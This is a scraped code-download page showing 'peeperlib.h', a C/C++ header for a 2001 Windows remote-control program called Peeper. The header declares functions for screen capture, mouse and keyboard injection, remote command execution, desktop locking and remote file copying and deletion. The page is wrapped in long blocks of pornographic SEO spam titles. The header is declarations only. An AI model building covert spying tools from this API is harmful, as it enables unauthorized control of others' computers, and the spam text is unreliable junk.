亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? peeperlib.h

?? 這是個soket的代碼不是太實用但是對出學者還是有些幫助的 有需要的可以
?? H
字號:
///////////////////////////////////////////////////////////////////////////////
// 遠程控制軟件-偷窺者  開發庫                                               //
// 日期:2001/10/02                                                           //
// 作者:劉東發                                                               //
// Email:dongfa@yeah.net                                                     //
// http://dongfa.yeah.net                                                    //
// OICQ:5584173  阿東                                                        //
// 作者聲明:                                                                 //
//     此部分代碼全是作者所寫,可以隨便傳播,但要保持文件的完整性,有問題     //
// 或者意見請來信,謝謝!                                                      //
///////////////////////////////////////////////////////////////////////////////

#ifndef __PEEPER_LIB_H__
#define __PEEPER_LIB_H__

#ifdef __cplusplus
extern "C"
{
#endif

DECLARE_HANDLE(HDIB);

#define DISP_SOCKET_ERROR     {\
			LPVOID lpMsgBuf = NULL;\
			::FormatMessage\
			( \
				FORMAT_MESSAGE_ALLOCATE_BUFFER | \
				FORMAT_MESSAGE_FROM_SYSTEM | \
				FORMAT_MESSAGE_IGNORE_INSERTS,\
				NULL,\
				::WSAGetLastError(),\
				MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\
				(LPTSTR) &lpMsgBuf,\
				0,\
				NULL \
			);\
			::MessageBox(NULL, (LPCTSTR)lpMsgBuf, "Error", \
				MB_OK | MB_ICONINFORMATION);\
			LocalFree(lpMsgBuf);\
						}\
 



#define PALVERSION             0x300
#define WIDTHBYTES(bits)       (((bits) + 31) / 32 * 4)
#define IS_WIN30_DIB(lpbi)     ((*(LPDWORD)(lpbi)) == sizeof(BITMAPINFOHEADER))
#define RECTWIDTH(lpRect)      ((lpRect)->right - (lpRect)->left)
#define RECTHEIGHT(lpRect)     ((lpRect)->bottom - (lpRect)->top)


#define PL_PEEPER_PORT			5180
// SOCKET buffer max length
#define PL_SOCKET_MAXBYTES		1024

// GET dib message
#define PL_GET_DIB_MESSAGE			WM_USER + 0x01

// CONNECT server message
#define PL_CONNECT_MESSAGE			WM_USER + 0x02

// PEEPER notify message
#define PL_PEEPER_NOTIFY			WM_USER + 0x0A

#define PL_PEEPER_NOTIFY_CLOSE		WM_USER + 0xA1
#define PL_PEEPER_NOTIFY_CONNECT	WM_USER + 0xA2
#define PL_PEEPER_NOTIFY_DISCONNECT	WM_USER + 0xA3

// copy file notify message
// wParam = X% 0~100
#define PL_PEEPER_NOTIFY_COPYFILE   WM_USER + 0xA4

//define peeper server version
#define PEEPER_SERVER_VER_10		("Ver 1.0")
#define PEEPER_SERVER_VER_12		("Ver 1.2")
#define PEEPER_SERVER_VER_15		("Ver 1.5")
#define PEEPER_SERVER_VER_20		("Ver 2.0")
#define PEEPER_SERVER_VER_25		("Ver 2.5")
#define PEEPER_SERVER_VER_30		("Ver 3.0")

// UPDATE desktop timer
#define PL_DIB_TIMER			200
#define PL_DIB_TIMERID			50
#define PL_SOCKET_RETRYTIME		4000

// DEFINE enable/disable event
#define PL_ENABLE_NONE			0x00000000

#define PL_ENABLE_MOUSE_MOVE	0x00000001
#define PL_ENABLE_MOUSE_LBUTTON	0x00000002
#define PL_ENABLE_MOUSE_RBUTTON	0x00000004
#define PL_ENABLE_MOUSE_LDBLCLK	0x00000008
#define PL_ENABLE_MOUSE_RDBLCLK	0x00000010

#define PL_ENABLE_KEY			0x00000020
#define PL_ENABLE_DIB			0x00000040

#define PL_ENABLE_ALL			0xFFFFFFFF

// CLOSE server
#define PL_CLOSE_PEEPER			0xDF

// NONE define
#define PL_NONE					0x00

//get server version
#define PL_PEEPER_VER			0x01
        //server:Flag+(char*)
        //client:Flag

// TEMP define
#define PL_TEMP					0x03

// RETURN BOOL result 
#define PL_RETURN_BOOL			0x04
        //Flag+(BOOL)

// CLIENT close
#define PL_CLIENT_CLOSE			0x05
        //Flag

// MESSAGE define
#define PL_MSG					0x08
        //Flag+(char*)

// SCREEN size
#define PL_SCREEN_SIZE			0x09
        //Flag+(int)(x)+(int)(y)

// DIB define
#define PL_DIB					0x11
        //Server:Flag+(PL_ColorType)+(PL_ZipType)
        //Client:Flag+(int)(nSize)

// DIB zip and unzip
#define PL_DIB_BITS				0x12
        //Flag+(int)(nBits)

// MOUSE define
#define PL_MOUSE_MOVE			0x21
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LBUTTONDOWN	0x22
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LBUTTONUP		0x23
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RBUTTONDOWN	0x24
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RBUTTONUP		0x25
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LDBLCLK		0x26
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RDBLCLK		0x27
        //Flag+(int)(x)+(int)(y)

// KEYBOARD define
#define PL_KEY_DOWN				0x31
        //Flag+(UINT)(VK)+(UINT)(nFlag)

#define PL_KEY_UP				0x32
        //Flag+(UINT)(VK)+(UINT)(nFlag)

// OTHER function
// EXECUTE command line
#define PL_FUNC_EXEC			0x81
        //Flag+(char *)

// LOCK and UNLOCK desktop
#define PL_FUNC_LOCK			0x82
        //Flag+(BOOL)  

// EXIT window
#define PL_FUNC_EXITWIN			0x83
        //Flag+(UINT)

// SEND Ctrl+Alt+Del
#define PL_FUNC_CTRL_ALT_DEL	0x84
        //Flag

// COPY a local file to remote computer
#define PL_FUNC_FILE_COPY_S		0x85
        //Flag+(char*)

// COPY a remote file to client computer
#define PL_FUNC_FILE_COPY_C		0x86
        //Flag+(char*)

// DELETE a remote file
#define PL_FUNC_FILE_DELETE		0x87
        //Flag+(char*)

// RENAME a remote file
#define PL_FUNC_FILE_MOVE		0x88
        //Flag+(char*)

// DEFINE color bits
enum PL_ColorType{color_1 = 0, color_4, color_8, color_24, color_max};
// DEFINE zip type
enum PL_ZipType{zip_none = 0, zip_lz77, zip_lzw, zip_jpeg, zip_lzss, zip_ari, zip_max};

// Socket Tools
// init socket
BOOL    WINAPI PL_InitSocket();
// cleanup socket
BOOL    WINAPI PL_TermSocket();
// SEND socket data
int     WINAPI PL_SendSocketData(SOCKET s, BYTE *chData, int nLen, 
								 BYTE chFlag = PL_NONE, UINT uFlag = 0);
// RECEIVE socket data
int     WINAPI PL_ReadSocketData(SOCKET s, BYTE *chData, int nLen, 
								 BYTE *chFlag = NULL, UINT uFlag = 0);

// Compress and Decompress
// LZ77 
HGLOBAL WINAPI PL_LZ77_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZ77_UnZip(HGLOBAL hZip);

// LZSS
HGLOBAL WINAPI PL_LZSS_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZSS_UnZip(HGLOBAL hZip);

// ARI
HGLOBAL WINAPI PL_ARI_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_ARI_UnZip(HGLOBAL hZip);

// LZW
HGLOBAL WINAPI PL_LZW_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZW_UnZip(HGLOBAL hZip);

// Dib & Bitmap Function
HBITMAP WINAPI PL_GetBitmap(HWND hWnd);
BOOL    WINAPI PL_Bmp2Gry(HBITMAP hBmp, LPBYTE *lpGryData, SIZE *szGrySize);
BOOL    WINAPI PL_DrawGry(HDC hDC, LPBYTE lpGryData, SIZE szGrySize);
int     WINAPI PL_ColorsNum(LPBYTE lpbi);
int     WINAPI PL_PaletteSize(LPBYTE lpbi);
LPBYTE  WINAPI PL_DIBBits(LPBYTE lpbi);
int     WINAPI PL_DIBWidth(LPBYTE lpDIB);
int     WINAPI PL_DIBHeight(LPBYTE lpDIB);
HDIB    WINAPI PL_BmpToDIB(HBITMAP hBitmap, HPALETTE hPal, int nBits = -1);
BOOL    WINAPI PL_CreateDIBPalette(HDIB hDIB, CPalette* pPal);
BOOL    WINAPI PL_DrawDIB(HDC hDC, LPRECT lpDCRect, HDIB hDIB, LPRECT lpDIBRect, CPalette* pPal);
BOOL    WINAPI PL_DrawBmp(HDC hDC, LPRECT lpDCRect, HBITMAP hBmp, LPRECT lpBmpRect, CPalette* pPal);

// Mouse Control Function
SIZE    WINAPI PL_GetScreenSize();
void    WINAPI PL_MouseMove(POINT point);
void    WINAPI PL_MouseLButtonDown(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseLButtonUp(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonDown(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonUp(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseLButtonDblClk(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonDblClk(POINT point, BOOL bMove = FALSE);

// Keyboard Control Function
void    WINAPI PL_KeyDown(UINT uChar, UINT uFlag);
void    WINAPI PL_KeyUp(UINT uChar, UINT uFlag);

// Other/Tools function
BOOL    WINAPI PL_GetHostName(char *chIP, char *chName = NULL);
int     WINAPI PL_ExecuteCommand(char *chCommandLine);
void    WINAPI PL_LockDesktop(BOOL bLock = TRUE);
BOOL    WINAPI PL_ExitWindow(UINT uFlag);
void    WINAPI PL_Send_CtrlAltDel();// 未能實現
BOOL    WINAPI PL_CopyFileClient(CString strIP, UINT uPort, char *chSrc, 
								 BOOL bSend = TRUE, HWND hNotifyWnd = NULL);
BOOL    WINAPI PL_CopyFileServer(UINT uPort, char *chDes, BOOL bSend = FALSE, 
								 HWND hNotifyWnd = NULL);
BOOL    WINAPI PL_DeleteFile(char *chFileName);
BOOL    WINAPI PL_MoveFile(char *chSrcFileName, char *chDesFileName);

// Send Mail function
// USE SMTP protocol
BOOL    WINAPI PL_SendMail(CString strSMTP, CString strFrom, 
						   CString strTo, CString strSubject, CString strBody);

// USE ESMTP protocol
BOOL    WINAPI PL_SendMail2(CString strSMTP, CString strFrom, 
								 CString strAuth, CString strPass,
								 CString strTo, CString strSubject, 
								 CString strBody);
//Detect Internet connect
BOOL    WINAPI PL_DetectInternetConnect(CString strHTTP = _T("http://www.163.com"));

//Read data from a file
HGLOBAL WINAPI PL_ReadDataFromFile(CString strFile);

//Write data to a file
BOOL    WINAPI PL_WriteDataToFile(CString strFile, HGLOBAL hData);

#ifdef __cplusplus
}
#endif
#endif //__PEEPER_LIB_H__

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲小说春色综合另类电影| 成人av网址在线| 国产一区二区三区高清播放| 91在线视频观看| 欧美一区二区三区小说| 亚洲欧美日韩国产一区二区三区| 麻豆一区二区三| 欧美日韩免费高清一区色橹橹| 国产丝袜美腿一区二区三区| 韩日精品视频一区| 欧美日韩dvd在线观看| 国产精品国产自产拍在线| 久久99精品久久只有精品| 欧美综合天天夜夜久久| 国产精品蜜臀av| 国产一区二区三区在线看麻豆| 欧美日韩国产另类一区| 亚洲三级在线观看| av午夜精品一区二区三区| 337p粉嫩大胆噜噜噜噜噜91av| 日韩精品成人一区二区在线| 在线一区二区三区四区| 亚洲品质自拍视频| 95精品视频在线| 国产精品国产馆在线真实露脸| 国产一区在线精品| 久久久精品综合| 国产成人av电影免费在线观看| 久久蜜桃av一区二区天堂| 韩国毛片一区二区三区| 精品福利在线导航| 国产一区二区三区在线观看免费视频 | 国产欧美日韩亚州综合| 国产一区二区三区免费看| 久久免费午夜影院| 国产成人精品免费在线| 中文字幕成人av| 成a人片国产精品| 亚洲欧美日韩中文字幕一区二区三区| 国产精品 日产精品 欧美精品| 久久日一线二线三线suv| 国内成人免费视频| 国产精品久久久久9999吃药| 91啪亚洲精品| 亚洲大片在线观看| 欧美r级在线观看| 国产精品一级二级三级| 中文字幕一区二区三区不卡 | 成人免费观看av| 亚洲男人天堂一区| 欧美日韩国产a| 蜜桃av一区二区三区| 久久久www免费人成精品| 成人国产精品免费观看动漫| 一区二区三区四区乱视频| 欧美日韩三级在线| 国产一区二区剧情av在线| 中文字幕制服丝袜成人av| 欧美美女直播网站| 国产精品77777| 亚洲伦理在线免费看| 欧美一区二视频| 色欧美片视频在线观看 | 精品国产乱码久久久久久久久| 国产麻豆一精品一av一免费| 亚洲人成在线播放网站岛国 | 国产精品麻豆视频| 欧美美女网站色| 国产成人精品免费在线| 亚洲高清在线精品| 国产欧美日韩三级| 欧美高清hd18日本| av亚洲精华国产精华精华| 蜜桃精品视频在线观看| 成人免费小视频| 日韩视频一区二区三区在线播放| 暴力调教一区二区三区| 蜜桃精品在线观看| 亚洲综合成人在线视频| 国产日韩综合av| 欧美一级艳片视频免费观看| 91色九色蝌蚪| 粉嫩av一区二区三区在线播放| 亚洲午夜视频在线观看| 中文字幕 久热精品 视频在线| 在线不卡中文字幕| 色婷婷精品大视频在线蜜桃视频| 国产福利91精品| 久久国产福利国产秒拍| 天天综合网 天天综合色| 国产精品少妇自拍| 久久久精品黄色| 日韩一级视频免费观看在线| 欧美午夜影院一区| 91农村精品一区二区在线| 国产精品一区二区91| 日本欧美大码aⅴ在线播放| 亚洲国产视频一区二区| 亚洲男人都懂的| 国产精品久久久久久户外露出| 久久免费看少妇高潮| 精品成人a区在线观看| 日韩一区二区中文字幕| 在线播放日韩导航| 欧美日韩1区2区| 欧美日韩国产片| 欧美日本在线一区| 欧美日韩国产影片| 欧美精品视频www在线观看| 在线一区二区三区四区| 欧美亚洲一区二区在线| 日本韩国精品一区二区在线观看| a4yy欧美一区二区三区| 9久草视频在线视频精品| www.亚洲免费av| a亚洲天堂av| 91免费在线播放| 欧美午夜不卡在线观看免费| 欧美日韩精品欧美日韩精品 | 天天影视色香欲综合网老头| 午夜一区二区三区视频| 免费高清不卡av| 国产曰批免费观看久久久| 国产在线精品视频| 国产ts人妖一区二区| av亚洲精华国产精华精| 欧美性一区二区| 91精品国产91综合久久蜜臀| 亚洲精品在线电影| 亚洲国产精品精华液2区45| 日韩一区在线播放| 午夜精品久久久久久久久久| 久久er精品视频| 成人小视频在线| 欧美性欧美巨大黑白大战| 欧美精品乱码久久久久久 | 一区二区免费看| 五月激情综合色| 激情综合五月婷婷| jlzzjlzz欧美大全| 欧美日韩综合一区| 精品88久久久久88久久久| 中文字幕在线观看不卡| 亚洲高清久久久| 国内精品久久久久影院色| 99久久精品一区二区| 欧美一级片免费看| 久久久综合视频| 亚洲成人黄色影院| 国产乱码精品一区二区三区五月婷| 不卡的av中国片| 日韩一卡二卡三卡四卡| 亚洲视频一区二区在线观看| 日本va欧美va欧美va精品| 99综合电影在线视频| 欧美一级专区免费大片| 亚洲色图.com| 国产在线视频不卡二| 欧美视频一区二区三区| 国产亚洲婷婷免费| 亚洲成人激情av| www.在线欧美| 久久久美女毛片| 日韩av电影免费观看高清完整版| 成人黄色av网站在线| 制服丝袜日韩国产| 亚洲视频一区二区在线| 国产馆精品极品| 91精品国产全国免费观看| 亚洲男同性恋视频| 国v精品久久久网| 精品入口麻豆88视频| 五月婷婷激情综合| 91色porny蝌蚪| 国产精品久久久久久久久免费相片 | 久久久精品2019中文字幕之3| 亚洲高清视频中文字幕| 91香蕉国产在线观看软件| 国产免费成人在线视频| 黑人巨大精品欧美黑白配亚洲| 欧美电影在哪看比较好| 亚洲精品国产a| 9i看片成人免费高清| 国产精品视频yy9299一区| 国产精品系列在线观看| 精品欧美乱码久久久久久| 亚洲国产cao| 精品1区2区3区| 亚洲综合色噜噜狠狠| 在线视频欧美区| 亚洲天堂2016| 色综合咪咪久久| 亚洲蜜臀av乱码久久精品蜜桃| 成人精品在线视频观看| 日本一区二区不卡视频| 成人午夜免费av| 国产女同性恋一区二区| 高清国产午夜精品久久久久久| 国产欧美精品一区| 成人app在线|